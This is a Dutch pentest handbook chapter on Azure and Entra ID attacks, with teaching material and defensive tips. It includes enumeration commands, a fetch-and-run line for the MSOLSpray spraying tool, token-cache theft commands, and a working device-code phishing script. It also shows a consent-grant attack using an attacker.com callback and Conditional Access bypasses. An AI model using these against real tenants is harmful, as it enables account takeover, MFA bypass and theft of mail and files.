Azure en Entra ID

“De cloud is andermans computer. Active Directory in de cloud is andermans computer met het telefoonboek van je hele bedrijf erop. Wat kan er misgaan?”


4.1 Azure Architectuur voor Pentesters

4.1.1 De Geologie van de Cloud

Als je Active Directory on-premises kunt vergelijken met een middeleeuws kasteel — muren, grachten, een ophaalbrug, en een bewaker die de helft van de tijd slaapt — dan is Azure een heel ander beest. Azure is een stad. Een stad zonder muren, zonder grachten, met honderden ingangen, en met een bewakingssysteem dat volledig afhankelijk is van pasjes, camera’s en beleidsregels die niemand volledig heeft gelezen.

En net als bij elke stad geldt: als je de plattegrond kent, kun je overal komen.

De Azure-architectuur is hierarchisch opgebouwd, van boven naar beneden. Voor een pentester is het begrijpen van die hierarchie niet optioneel — het is de basis van alles wat volgt. Als je niet weet waar je bent in de boom, weet je niet waar je heen kunt.

4.1.2 De Hierarchie

┌──────────────────────────────────────────────────────────────────┐
│                     Azure AD Tenant (Entra ID)                    │
│                     (identiteit en authenticatie)                  │
│                                                                   │
│   ┌────────────────────────────────────────────────────────────┐  │
│   │               Root Management Group                         │  │
│   │                                                             │  │
│   │   ┌──────────────────┐    ┌──────────────────┐             │  │
│   │   │ Management Group │    │ Management Group │             │  │
│   │   │  "Productie"     │    │  "Development"   │             │  │
│   │   │                  │    │                  │             │  │
│   │   │ ┌──────────────┐ │    │ ┌──────────────┐ │             │  │
│   │   │ │ Subscription │ │    │ │ Subscription │ │             │  │
│   │   │ │ "Prod-001"   │ │    │ │ "Dev-001"    │ │             │  │
│   │   │ │              │ │    │ │              │ │             │  │
│   │   │ │ ┌──────────┐ │ │    │ │ ┌──────────┐ │ │             │  │
│   │   │ │ │ Resource │ │ │    │ │ │ Resource │ │ │             │  │
│   │   │ │ │ Group    │ │ │    │ │ │ Group    │ │ │             │  │
│   │   │ │ └──────────┘ │ │    │ │ └──────────┘ │ │             │  │
│   │   │ └──────────────┘ │    │ └──────────────┘ │             │  │
│   │   └──────────────────┘    └──────────────────┘             │  │
│   └────────────────────────────────────────────────────────────┘  │
└──────────────────────────────────────────────────────────────────┘

De lagen, van boven naar beneden:

Laag Beschrijving Analogie
Tenant (Entra ID) De identiteitslaag. Eén tenant per organisatie. Bevat users, groups, app registrations, service principals De gemeente: wie mag hier wonen?
Management Groups Optionele groepering van subscriptions. Handig voor governance, gevaarlijk als je er rechten op hebt De stadsdelen
Subscriptions De facturatie- en beheersgrens. Resources leven in een subscription De wijken
Resource Groups Logische container voor resources. Geen beveiligingsgrens, maar wel een scope voor RBAC De straten
Resources De werkelijke diensten: VMs, databases, storage accounts, key vaults De gebouwen

Cruciaal voor pentesters: rechten erven naar beneden. Wie Owner is op een Management Group, is impliciet Owner op alle subscriptions, resource groups en resources daaronder. Dit is de basis van privilege escalation in Azure — als je ergens hoog in de boom rechten kunt krijgen, druppelt de macht vanzelf naar beneden.

# Huidige context bekijken
az account show

# Alle beschikbare subscriptions
az account list --output table

# Alle management groups (vereist leesrechten)
az account management-group list --output table

# Van subscription wisselen
az account set --subscription "Subscription-naam-of-ID"

IB Tip: Gebruik het Commands-paneel en zoek op enum_ voor Azure-enumeratiecommando’s. De az account list output is je eerste oriëntatiepunt — het vertelt je welke subscriptions je kunt bereiken en met welke identity.

4.1.3 RBAC versus Entra ID Roles

Hier wordt het verwarrend, en het is precies het soort verwarring waar aanvallers van profiteren. Azure heeft twee volledig gescheiden role-systemen:

1. Azure RBAC (Resource-level)

Azure Role-Based Access Control beheert wie wat mag doen met Azure resources — virtuele machines, databases, storage accounts. Het is het sleutelbeheer van de gebouwen.

Ingebouwde RBAC-rollen:

Rol Scope Gevaar
Owner Volledige controle + mag rechten toekennen Kritiek
Contributor Volledige controle, maar mag geen rechten toekennen Hoog
Reader Alleen lezen Laag (maar enumeratie!)
User Access Administrator Mag RBAC-rollen toekennen Kritiek
# Eigen RBAC-rollen bekijken
az role assignment list --assignee "$(az ad signed-in-user show --query id -o tsv)" \
    --all --output table

# Alle role assignments in een subscription
az role assignment list --all --output table

# Wie is Owner van de subscription?
az role assignment list --role "Owner" --all --output table

2. Entra ID Roles (Directory-level)

Entra ID-rollen beheersen wie wat mag doen met identiteiten — users aanmaken, groups beheren, app registrations configureren. Het is het bevolkingsregister.

Gevaarlijke Entra ID-rollen:

Rol Wat het doet Waarom het gevaarlijk is
Global Administrator Alles. Letterlijk alles. De kerncentrale-sleutel van je tenant
Privileged Role Administrator Mag rollen toewijzen Kan zichzelf of anderen Global Admin maken
Application Administrator Beheert alle app registrations Kan credentials van apps wijzigen
Cloud Application Administrator Beheert cloud apps Credential reset van enterprise apps
Hybrid Identity Administrator Beheert AD Connect en federation Kan on-prem/cloud sync manipuleren
Exchange Administrator Beheert Exchange Online Kan mailboxen lezen, regels instellen
Intune Administrator Beheert endpoint management Code execution op alle beheerde devices
# Eigen Entra ID-rollen opvragen
az rest --method GET \
    --uri "https://graph.microsoft.com/v1.0/me/memberOf" \
    --query "value[?@odata.type=='#microsoft.graph.directoryRole'].{Role:displayName}" \
    --output table

# Alle Global Admins vinden
az rest --method GET \
    --uri "https://graph.microsoft.com/v1.0/directoryRoles" \
    --query "value[?displayName=='Global Administrator'].id" -o tsv | \
    xargs -I{} az rest --method GET \
    --uri "https://graph.microsoft.com/v1.0/directoryRoles/{}/members" \
    --query "value[].{Name:displayName,UPN:userPrincipalName}" -o table

De verwarring tussen deze twee systemen is een vruchtbare voedingsbodem voor misconfiguraties. Een beheerder die denkt “ik heb hem Reader gemaakt, dus hij kan niets” vergeet dat diezelfde gebruiker via een Entra ID-rol Application Administrator kan zijn — en daarmee credentials van service principals kan resetten die wél Contributor zijn op productie-subscriptions.

Het is alsof het bevolkingsregister en de sleutelbeheerder van de stad door twee verschillende afdelingen worden gerund die niet met elkaar praten. Eén afdeling zegt: “Deze persoon mag het park in.” De andere zegt: “Deze persoon mag paspoorten uitgeven.” En niemand vraagt zich af of iemand die paspoorten kan uitgeven misschien ook het park in kan.

4.1.4 De Global Admin Nuclear Option

Er is één bijzonderheid die elke pentester moet kennen: een Global Administrator kan zichzelf User Access Administrator maken op de root Management Group. Daarmee heeft een directory-level rol plotseling volledige controle over alle Azure resources in alle subscriptions.

# Global Admin → User Access Admin op root scope
az rest --method POST \
    --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"

Dit is by design. Microsoft documenteert het als “noodtoegang.” Voor pentesters is het de holy grail: van identiteitsbeheer naar infrastructuurcontrole in één API-call.


4.2 Entra ID Fundamenten

4.2.1 De Burgers van de Stad

Entra ID — voorheen Azure Active Directory, voorheen Azure AD, want Microsoft hernoemt dingen zoals andere bedrijven koffie drinken — is het identiteitsplatform van Microsoft’s cloud. Het is niet hetzelfde als on-premises Active Directory, al probeert Microsoft heel hard om je dat te laten denken.

On-premises AD is een LDAP-directory met Kerberos. Entra ID is een REST API met OAuth 2.0 en OpenID Connect. De concepten lijken op elkaar (users, groups, rollen), maar de implementatie is fundamenteel anders. Dit is belangrijk, want aanvalstechnieken die werken in on-premises AD werken niet in Entra ID, en vice versa.

De identiteitsobjecten in Entra ID:

4.2.2 Users

Gebruikers in Entra ID komen in twee smaken:

Type Beschrijving Risico
Member Volwaardige tenant-gebruiker Standaard brede leesrechten op directory
Guest Externe gebruiker (B2B) Beperkte rechten, maar vaak meer dan verwacht

Standaard kan elke Member-user: - Alle andere users en hun properties lezen - Alle groepen en hun leden lezen - Alle app registrations lezen - Alle service principals lezen - Devices enumereren

Dit is een enorm verschil met on-premises AD, waar je PowerView of BloodHound nodig hebt om dezelfde informatie te verzamelen. In Entra ID is de directory standaard leesbaar voor elke geauthenticeerde gebruiker. Het is alsof het telefoonboek niet alleen namen en nummers bevat, maar ook adressen, werkgevers, en welke deuren ze mogen openen.

# Alle users ophalen
az ad user list --output table

# Specifieke user details
az ad user show --id "user@domain.com"

# Guest users vinden (vaak minder gemonitord)
az ad user list --filter "userType eq 'Guest'" --output table

# Users met specifieke job title (informatieverzameling)
az ad user list --query "[?jobTitle=='IT Administrator'].{Name:displayName,UPN:userPrincipalName}" -o table

4.2.3 Groups

Groepen in Entra ID:

Type Beschrijving Pentest-relevantie
Security Group Rechten toekennen RBAC-assignments, Conditional Access
Microsoft 365 Group Collaboration (Teams, SharePoint) Bevat vaak gevoelige data
Dynamic Group Lidmaatschap op basis van regels Manipuleerbaar als je user-properties kunt wijzigen
Role-assignable Group Kan Entra ID-rollen toegewezen krijgen Jackpot als je lid wordt

Dynamic Groups zijn bijzonder interessant. Als een groep automatisch iedereen met department = IT toevoegt, en jij kunt je eigen department-property wijzigen… dan voeg je jezelf toe aan die groep. Zonder dat iemand het goedkeurt.

# Alle groepen
az ad group list --output table

# Leden van een specifieke groep
az ad group member list --group "Groepsnaam" --output table

# Groepen waar je lid van bent
az ad group list --query "[?contains(mail,'') || contains(displayName,'')]" -o table

# Dynamic groups vinden
az rest --method GET \
    --uri "https://graph.microsoft.com/v1.0/groups?\$filter=groupTypes/any(g:g eq 'DynamicMembership')" \
    --query "value[].{Name:displayName,Rule:membershipRule}" -o table

4.2.4 App Registrations en Service Principals

Hier wordt het spannend — en verwarrend. Laten we het ontwarren.

Een App Registration is een blauwdruk. Het definieert een applicatie: welke permissions heeft het nodig, welke redirect URIs gebruikt het, welke credentials accepteert het. Het is het architectuurtekening van een gebouw.

Een Service Principal is een instantie van die blauwdruk in een specifieke tenant. Het is het daadwerkelijke gebouw. Elke App Registration in je tenant heeft automatisch een Service Principal. Maar er zijn ook Service Principals voor externe apps (Microsoft’s eigen apps, third-party SaaS) die geen App Registration in jouw tenant hebben.

Een Enterprise Application is Microsoft’s marketingnaam voor een Service Principal. Zelfde ding, andere verpakking.

App Registration (global definitie)
        │
        ├── Service Principal in Tenant A
        │   └── credentials, permissions, role assignments
        │
        └── Service Principal in Tenant B
            └── credentials, permissions, role assignments

Waarom dit belangrijk is voor pentesters:

  1. App Registrations hebben credentials — client secrets en certificates. Als je die vindt, authenticeer je als de applicatie.
  2. Service Principals kunnen RBAC-rollen hebben — een app met Contributor op een subscription kan alles doen wat een gebruiker met die rol kan.
  3. API Permissions — apps kunnen vergaande rechten hebben op Microsoft Graph, Exchange, SharePoint. Een app met Mail.Read leest ieders mail.
# Alle app registrations
az ad app list --output table

# App registrations met credentials (client secrets)
az ad app list --query "[?passwordCredentials[0]!=null].{Name:displayName,AppId:appId}" -o table

# Service principals
az ad sp list --all --output table

# Service principals met hoge RBAC-rollen
az role assignment list --all --query "[?principalType=='ServicePrincipal']" -o table

IB Tip: App registrations met verlopen credentials zijn goudmijnen. Als een credential verlopen is maar de app registration nog bestaat, kan soms een nieuwe credential worden toegevoegd door iemand met de juiste Entra ID-rol. Zoek naar apps waar passwordCredentials of keyCredentials leeg of verlopen zijn.

4.2.5 Managed Identities

Managed Identities zijn Azure’s antwoord op het probleem van credentials in code. In plaats van een wachtwoord of API-key in een configuratiebestand te zetten (wat elke ontwikkelaar op aarde toch doet, ongeacht hoeveel security-trainingen ze hebben gevolgd), wijst Azure automatisch een identiteit toe aan een resource.

Type Scope Levenscyclus
System-assigned Gebonden aan één resource Wordt verwijderd als de resource wordt verwijderd
User-assigned Kan aan meerdere resources worden gekoppeld Onafhankelijke levenscyclus

Het probleem vanuit security-perspectief: Managed Identities authenticeren via de Instance Metadata Service (IMDS) op 169.254.169.254. Elke code die draait op de Azure resource — inclusief de code van een aanvaller die command execution heeft verkregen — kan een token opvragen. Geen credentials nodig. Geen MFA. Gewoon een HTTP-request.

We komen hier uitgebreid op terug in sectie 4.6.

4.2.6 Primary Refresh Tokens (PRT)

Een Primary Refresh Token is het Kerberos TGT van Entra ID. Het is een langlevend token dat wordt uitgegeven wanneer een gebruiker zich authenticeert op een Azure AD-joined of hybrid-joined device. Met een PRT kun je SSO krijgen naar alle cloud-applicaties zonder opnieuw in te loggen.

En net als een TGT is het een jackpot als je het kunt stelen.

Een PRT bevat: - De identity van de gebruiker - De device identity - Een session key - MFA-claims (als MFA is uitgevoerd bij het verkrijgen)

Dat laatste punt is cruciaal: als het PRT MFA-claims bevat, omzeil je effectief MFA voor alle toekomstige authenticaties. Het is alsof je bij de voordeur je paspoort en vingerafdruk toont, en daarna de hele dag vrij kunt rondlopen omdat het systeem onthoudt dat je je eerder hebt geïdentificeerd.

PRT-extractie behandelen we in sectie 4.11 over hybride identiteitspaden.


4.3 Entra ID Enumeration

4.3.1 De Eerste Verkenning

Enumeratie in Entra ID is tegelijkertijd makkelijker en moeilijker dan in on-premises AD. Makkelijker, omdat de Microsoft Graph API je een gestructureerde, gedocumenteerde interface geeft. Moeilijker, omdat er Conditional Access, audit logs en anomaliedetectie in de weg kunnen staan.

Maar laten we eerlijk zijn: in de meeste omgevingen die we testen, staat anomaliedetectie uit, worden audit logs niet bekeken, en is Conditional Access geconfigureerd met de precisie van iemand die een sudoku invult terwijl hij Netflix kijkt.

4.3.2 AzureAD PowerShell Module

De AzureAD-module is officieel deprecated (Microsoft wil dat je Microsoft Graph PowerShell gebruikt), maar het werkt nog steeds en is in veel omgevingen beschikbaar:

# Verbinden (interactief)
Install-Module AzureAD
Connect-AzureAD

# Alle users
Get-AzureADUser -All $true | Select-Object DisplayName,UserPrincipalName,UserType

# Alle groepen
Get-AzureADGroup -All $true | Select-Object DisplayName,ObjectId,SecurityEnabled

# Groepsleden
Get-AzureADGroupMember -ObjectId "GROEP_ID" -All $true

# Directory-rollen
Get-AzureADDirectoryRole | ForEach-Object {
    $role = $_
    Get-AzureADDirectoryRoleMember -ObjectId $role.ObjectId | ForEach-Object {
        [PSCustomObject]@{
            Role = $role.DisplayName
            Member = $_.DisplayName
            UPN = $_.UserPrincipalName
        }
    }
} | Format-Table -AutoSize

# App registrations met credentials
Get-AzureADApplication -All $true | Where-Object {
    $_.PasswordCredentials.Count -gt 0 -or $_.KeyCredentials.Count -gt 0
} | Select-Object DisplayName,AppId

# Service principals met app role assignments
Get-AzureADServicePrincipal -All $true | ForEach-Object {
    $sp = $_
    Get-AzureADServiceAppRoleAssignment -ObjectId $sp.ObjectId -ErrorAction SilentlyContinue | ForEach-Object {
        [PSCustomObject]@{
            SP = $sp.DisplayName
            Resource = $_.ResourceDisplayName
            Permission = $_.Id
        }
    }
}

4.3.3 Microsoft Graph API

Microsoft Graph is de toekomst. Alle Entra ID-data is bereikbaar via REST-endpoints. Je kunt het aanroepen met az rest, met curl en een bearer token, of met de Microsoft Graph PowerShell SDK.

# Token verkrijgen via az cli
TOKEN=$(az account get-access-token --resource "https://graph.microsoft.com" --query accessToken -o tsv)

# Alle users (let op: standaard paginated, max 100 per pagina)
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://graph.microsoft.com/v1.0/users?\$select=displayName,userPrincipalName,userType,jobTitle,department" | \
    python3 -m json.tool

# Alle groepen met membership rules
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://graph.microsoft.com/v1.0/groups?\$filter=groupTypes/any(g:g eq 'DynamicMembership')&\$select=displayName,membershipRule" | \
    python3 -m json.tool

# App registrations met permissions
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://graph.microsoft.com/v1.0/applications?\$select=displayName,appId,requiredResourceAccess,passwordCredentials" | \
    python3 -m json.tool

# Directory role assignments
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments?\$expand=principal" | \
    python3 -m json.tool

# Conditional Access policies (vereist hogere rechten)
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" | \
    python3 -m json.tool

Let op: Microsoft Graph-aanroepen worden gelogd. In een volwassen omgeving kan een plotselinge golf van Graph API-calls een alert triggeren. Overweeg om je enumeratie te spreiden over tijd, of gebruik de $select-parameter om alleen de velden op te vragen die je nodig hebt.

4.3.4 ROADtools (roadrecon)

ROADtools, gebouwd door Dirk-jan Mollema, is BloodHound voor Entra ID. Het verzamelt de volledige directory in een lokale database en biedt een GUI voor analyse.

# Installatie
pip install roadrecon roadlib

# Authenticatie (met az cli token)
roadrecon auth --access-token "$(az account get-access-token \
    --resource "https://graph.microsoft.com" --query accessToken -o tsv)"

# Of met username/password
roadrecon auth -u user@domain.com -p 'Password123!'

# Volledige directory dumpen
roadrecon gather

# GUI starten
roadrecon gui
# Open browser op http://127.0.0.1:5000

ROADrecon verzamelt: - Alle users en hun properties - Alle groepen en lidmaatschappen - Alle app registrations en service principals - Alle role assignments (Entra ID en app roles) - OAuth2 permission grants - Conditional Access policies (als je leesrechten hebt) - Devices en hun registraties

De GUI toont relaties visueel — wie heeft welke rol, welke app heeft welke permissions, welke users zijn lid van welke groepen. Het is BloodHound voor de cloud, en het is net zo onthullend.

# ROADrecon database analyseren via CLI
roadrecon plugin policies    # Conditional Access analyse
roadrecon plugin bloodhound  # Export naar BloodHound-formaat

IB Tip: De ROADrecon database (roadrecon.db) is een SQLite-bestand. Je kunt het direct queryen met SQL als je specifieke vragen hebt die de GUI niet beantwoordt. Bijvoorbeeld: welke apps hebben Mail.ReadWrite permissions?

4.3.5 Az CLI Enumeration

De az CLI is je dagelijkse chauffeur. Het is geinstalleerd op elke Azure-beheersmachine en beschikbaar in Azure Cloud Shell.

# Wie ben ik?
az ad signed-in-user show

# Mijn groepslidmaatschappen
az ad signed-in-user show --query "id" -o tsv | \
    xargs -I{} az rest --method GET \
    --uri "https://graph.microsoft.com/v1.0/users/{}/memberOf" \
    --query "value[].{Type:@odata.type,Name:displayName}" -o table

# Alle users met hun rollen
az ad user list --query "[].{UPN:userPrincipalName,Name:displayName,Type:userType}" -o table

# Devices (Azure AD joined/registered)
az rest --method GET \
    --uri "https://graph.microsoft.com/v1.0/devices" \
    --query "value[].{Name:displayName,OS:operatingSystem,Trust:trustType}" -o table

# Alle resources in bereikbare subscriptions
az resource list --output table

# Virtual machines (doelen voor credential theft)
az vm list --output table

# Key Vaults (doelen voor secret extraction)
az keyvault list --output table

# Storage accounts (doelen voor data exfiltratie)
az storage account list --output table

# Automation accounts (doelen voor runbook abuse)
az automation account list --output table 2>/dev/null

4.3.6 Unauthenticated Enumeration

Zelfs zonder credentials kun je informatie verzamelen over een Azure-tenant:

# Controleer of een domein Azure AD gebruikt
curl -s "https://login.microsoftonline.com/TARGET_DOMAIN/.well-known/openid-configuration" | \
    python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('tenant_discovery_endpoint','Niet gevonden'))"

# Tenant ID achterhalen
curl -s "https://login.microsoftonline.com/TARGET_DOMAIN/.well-known/openid-configuration" | \
    python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('token_endpoint','').split('/')[3])"

# Gebruikersenumeratie via login-endpoint (autothrottle na ~10 requests)
# Antwoord verschilt tussen "user not found" en "wrong password"
curl -s -X POST \
    "https://login.microsoftonline.com/TARGET_DOMAIN/oauth2/token" \
    -d "grant_type=password&username=admin@TARGET_DOMAIN&password=dummy&client_id=1b730954-1685-4b74-9bfd-dac224a7b894&resource=https://graph.microsoft.com" 2>&1 | \
    python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('error_description','')[:80])"

De foutmeldingen zijn verrassend informatief. AADSTS50126 betekent “gebruiker bestaat, wachtwoord fout.” AADSTS50034 betekent “gebruiker bestaat niet.” Microsoft noemt dit geen vulnerability. Pentesters zijn het daar niet mee eens.


4.4 Entra ID Aanvallen

4.4.1 Het Spectrum van Mogelijkheden

Nu we weten hoe de stad eruitziet, is het tijd om in te breken. Entra ID-aanvallen vallen ruwweg in twee categorieen: aanvallen op de identiteit (inloggen als iemand anders) en aanvallen op de configuratie (misbruik maken van wat er al geconfigureerd is). In deze sectie behandelen we de eerste categorie. De configuratie-aanvallen komen in de volgende secties.

4.4.2 Password Spraying met MSOLSpray

Password spraying is het omgekeerde van brute-forcing: in plaats van veel wachtwoorden tegen één account te proberen, probeer je één wachtwoord tegen veel accounts. Dit vermijdt account lockouts en vliegt onder de radar van de meeste detectiesystemen.

MSOLSpray is specifiek ontworpen voor Microsoft Online-omgevingen:

# MSOLSpray downloaden
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/dafthack/MSOLSpray/master/MSOLSpray.ps1')

# Gebruikerslijst voorbereiden
# Formaat: één UPN per regel
# admin@targetdomain.com
# john.doe@targetdomain.com
# service.desk@targetdomain.com

# Spray uitvoeren
Invoke-MSOLSpray -UserList .\users.txt -Password "Winter2026!" -Verbose

MSOLSpray is slim: het interpreteert Azure AD-foutcodes en vertelt je niet alleen of een login succesvol was, maar ook: - Of MFA vereist is (valide credentials, maar MFA blokkeert) - Of het account gelocked is - Of het wachtwoord verlopen is (vaak alsnog bruikbaar met token-aanvragen) - Of Conditional Access de login blokkeert (valide credentials, beleid blokkeert)

[*] Results:
[*] admin@target.com - VALID CREDENTIAL (MFA Required)
[*] service.desk@target.com - VALID CREDENTIAL
[*] john.doe@target.com - INVALID PASSWORD
[*] old.account@target.com - ACCOUNT LOCKED

Die “MFA Required”-meldingen zijn goud. Het betekent dat het wachtwoord correct is. Nu hoef je alleen nog MFA te bypassen — en dat is makkelijker dan je denkt.

# Spray via az cli (minder opsec, meer functionaliteit)
while IFS= read -r user; do
    az login -u "$user" -p 'Winter2026!' --allow-no-subscriptions 2>&1 | \
    grep -q "AADSTS50076" && echo "[MFA] $user" || \
    grep -q "interaction_required" && echo "[SUCCESS+MFA] $user" || \
    echo "[FAIL] $user"
done < users.txt

Let op: Password spraying genereert sign-in logs. In een omgeving met Azure AD Identity Protection kan een spray vanuit één IP-adres een “Unfamiliar sign-in properties” of “Password spray” risico-detectie triggeren. Gebruik een gedistribueerde aanpak of houd je aan maximaal 1 poging per gebruiker per uur.

4.4.3 MFA Bypass Technieken

MFA is de standaard verdediging tegen credential-diefstal. Het probleem is dat MFA in de praktijk zwakker is dan de marketing doet geloven.

Techniek 1: Stolen Session Token

Na succesvolle authenticatie (inclusief MFA) wordt een session token uitgegeven. Als je dat token steelt, hoef je MFA niet opnieuw te doen:

# Azure CLI tokens staan lokaal opgeslagen
# Linux/macOS:
cat ~/.azure/accessTokens.json 2>/dev/null
cat ~/.azure/msal_token_cache.json 2>/dev/null

# Windows:
type %USERPROFILE%\.azure\accessTokens.json
type %USERPROFILE%\.azure\msal_token_cache.json

# Token direct gebruiken
az account get-access-token --resource "https://graph.microsoft.com" -o tsv --query accessToken

Techniek 2: Legacy Protocols

Sommige legacy-protocollen ondersteunen geen MFA. Als deze niet zijn geblokkeerd via Conditional Access:

# Test IMAP-toegang met stolen credentials (MFA omzeild)
curl -v "imaps://outlook.office365.com" --user "user@domain.com:Password123!"

Techniek 3: Device Code Phishing

Dit is de meest elegante MFA-bypass en verdient zijn eigen subsectie — zie 4.4.5.

4.4.4 Conditional Access Bypass

Conditional Access is Microsoft’s policy engine: “als dit, dan dat.” Bijvoorbeeld: “als de gebruiker inlogt vanaf een niet-beheerd device, dan vereist MFA.” Of: “als de gebruiker inlogt vanuit een riskant land, blokkeer dan.”

Het probleem is dat Conditional Access beleid wordt toegepast op basis van signalen — en die signalen zijn manipuleerbaar.

Veelvoorkomende bypass-methoden:

Named Locations omzeilen:

# Als het beleid "blokkeer landen buiten NL" is,
# gebruik een Nederlands VPN-exitpunt

# Als het beleid trusted IP-ranges specificeert,
# check of de ranges niet te breed zijn
az rest --method GET \
    --uri "https://graph.microsoft.com/v1.0/identity/conditionalAccess/namedLocations" \
    --query "value[].{Name:displayName,Type:@odata.type}" -o table

Client App filters:

# Conditional Access die alleen "browser" en "mobile apps" afdwingt
# maar "other clients" niet blokkeert
# Test met een onbekende client_id

# Microsoft Office client_id (vaak exempted van streng beleid)
curl -s -X POST "https://login.microsoftonline.com/TENANT/oauth2/v2.0/token" \
    -d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=https://graph.microsoft.com/.default&grant_type=password&username=USER&password=PASS"

Device Compliance gaps:

Conditional Access kan vereisen dat een device “compliant” is. Maar als het beleid alleen geldt voor specifieke apps of platforms, kun je authenticeren via een niet-gedekt pad.

IB Tip: Conditional Access policies analyseren is een van de eerste dingen die je doet na initiële toegang. Gebruik roadrecon plugin policies of de Graph API om alle policies op te halen. Zoek naar gaps: welke apps zijn niet gedekt? Welke platformen zijn uitgezonderd? Welke users zijn excluded?

4.4.5 Device Code Phishing

Device code phishing is een van de meest effectieve technieken tegen MFA. Het misbruikt de OAuth 2.0 device authorization flow, ontworpen voor apparaten zonder browser (smart TVs, IoT devices, CLI tools).

Het werkt als volgt:

  1. De aanvaller start een device code flow en krijgt een code + URL
  2. De aanvaller stuurt de code naar het slachtoffer: “Ga naar microsoft.com/devicelogin en voer deze code in”
  3. Het slachtoffer logt in — inclusief MFA — en autoriseert de “device”
  4. De aanvaller ontvangt tokens (access token + refresh token) namens het slachtoffer
#!/usr/bin/env python3
"""
Device code phishing - stap 1: code genereren
MITRE ATT&CK: T1528 (Steal Application Access Token)
"""
import requests
import json
import time

TENANT = "TARGET_TENANT_ID"
CLIENT_ID = "d3590ed6-52b3-4102-aeff-aad2292ab01c"  # Microsoft Office
RESOURCE = "https://graph.microsoft.com"

# Stap 1: Device code aanvragen
resp = requests.post(
    f"https://login.microsoftonline.com/{TENANT}/oauth2/v2.0/devicecode",
    data={
        "client_id": CLIENT_ID,
        "scope": f"{RESOURCE}/.default offline_access"
    }
)
data = resp.json()
print(f"\n[*] Stuur naar slachtoffer:")
print(f"    URL:  {data['verification_uri']}")
print(f"    Code: {data['user_code']}")
print(f"\n[*] Wacht op authenticatie...")

# Stap 2: Poll voor tokens
device_code = data["device_code"]
interval = data.get("interval", 5)

while True:
    time.sleep(interval)
    token_resp = requests.post(
        f"https://login.microsoftonline.com/{TENANT}/oauth2/v2.0/token",
        data={
            "grant_type": "urn:ietf:params:oauth:grant-type:device_code",
            "client_id": CLIENT_ID,
            "device_code": device_code
        }
    )
    token_data = token_resp.json()

    if "access_token" in token_data:
        print(f"\n[+] TOKEN ONTVANGEN!")
        print(f"    Access Token: {token_data['access_token'][:50]}...")
        if "refresh_token" in token_data:
            print(f"    Refresh Token: {token_data['refresh_token'][:50]}...")
        break
    elif token_data.get("error") == "authorization_pending":
        continue
    elif token_data.get("error") == "expired_token":
        print("[-] Code verlopen")
        break
    else:
        print(f"[-] Fout: {token_data.get('error_description','onbekend')}")
        break

De kracht van device code phishing: - Het slachtoffer voert zelf MFA uit — je hoeft het niet te omzeilen - De tokens zijn geldig voor de duur van de refresh token (vaak 90 dagen) - Het ziet er legitiem uit — microsoft.com/devicelogin is een echt Microsoft-domein - Conditional Access wordt uitgevoerd op het device van het slachtoffer, niet van de aanvaller

De verdediging? Blokkeer de device code flow via Conditional Access. Verrassend weinig organisaties doen dit.

De consent grant attack — ook bekend als illicit consent of OAuth phishing — is een van de elegantste aanvallen in de cloudwereld. Je hoeft geen wachtwoord te stelen. Je hoeft geen MFA te omzeilen. Je vraagt het slachtoffer gewoon om toestemming.

Een aanvaller registreert een app in zijn eigen tenant met brede permissions (Mail.Read, Files.ReadWrite, User.Read.All) en stuurt een consent-link naar het slachtoffer. Het slachtoffer klikt, ziet een Microsoft-login met een permissions-dialog die zegt “Deze app wil je mail lezen en je bestanden bekijken,” denkt “dat zal wel nodig zijn voor die tool die mijn collega aanraadde,” en klikt op “Accept.”

En daarmee heeft de aanvaller permanente toegang tot de mail en bestanden van het slachtoffer. Zonder wachtwoord. Zonder MFA. Via een officieel Microsoft-mechanisme.

# De aanvaller's perspectief: na consent, tokens gebruiken

# Access token ophalen met de verkregen authorization code
curl -s -X POST "https://login.microsoftonline.com/VICTIM_TENANT/oauth2/v2.0/token" \
    -d "client_id=ATTACKER_APP_ID" \
    -d "client_secret=ATTACKER_APP_SECRET" \
    -d "code=AUTHORIZATION_CODE" \
    -d "redirect_uri=https://attacker.com/callback" \
    -d "grant_type=authorization_code" \
    -d "scope=https://graph.microsoft.com/.default"

# Met het token: mail lezen
curl -s -H "Authorization: Bearer ACCESS_TOKEN" \
    "https://graph.microsoft.com/v1.0/me/messages?\$select=subject,from,bodyPreview&\$top=10" | \
    python3 -m json.tool

# Bestanden ophalen
curl -s -H "Authorization: Bearer ACCESS_TOKEN" \
    "https://graph.microsoft.com/v1.0/me/drive/root/children" | \
    python3 -m json.tool

De verdediging: stel in Entra ID in dat users geen consent mogen geven aan apps, of alleen aan apps van geverifieerde uitgevers. Configureer een admin consent workflow zodat een beheerder elke consent-aanvraag moet goedkeuren.

# Controleer de huidige consent-instellingen
az rest --method GET \
    --uri "https://graph.microsoft.com/v1.0/policies/authorizationPolicy" \
    --query "{AllowUserConsent:defaultUserRolePermissions.permissionGrantPoliciesAssigned}" -o json

Als het antwoord ManagePermissionGrantsForSelf.microsoft-user-default-legacy bevat, mogen users consent geven. Dat is bijna altijd een bevinding in je rapport.


4.5 Azure RBAC Exploitation

4.5.1 Het Sleutelsysteem

Azure RBAC is het autorisatiesysteem voor Azure resources. Het werkt met drie componenten:

  1. Security Principal — wie krijgt de rechten (user, group, service principal, managed identity)
  2. Role Definition — wat mag worden gedaan (een set van permissions)
  3. Scope — waar de rechten gelden (management group, subscription, resource group, resource)
# Alle role definitions bekijken
az role definition list --output table

# Custom roles (vaak interessanter dan built-in)
az role definition list --custom-role-only true --output table

# Details van een specifieke rol
az role definition list --name "Custom Developer Role" --output json

4.5.2 Custom Role Abuse

Custom roles zijn een veelvoorkomende bron van privilege escalation. Organisaties maken custom roles om het “principle of least privilege” te volgen, maar definiëren de permissions te breed.

Gevaarlijke permissions in custom roles:

Permission Risico
Microsoft.Authorization/roleAssignments/write Kan zichzelf of anderen rollen toewijzen
*/write Wildcard write op alle resource types
Microsoft.Compute/virtualMachines/runCommand/action Command execution op VMs
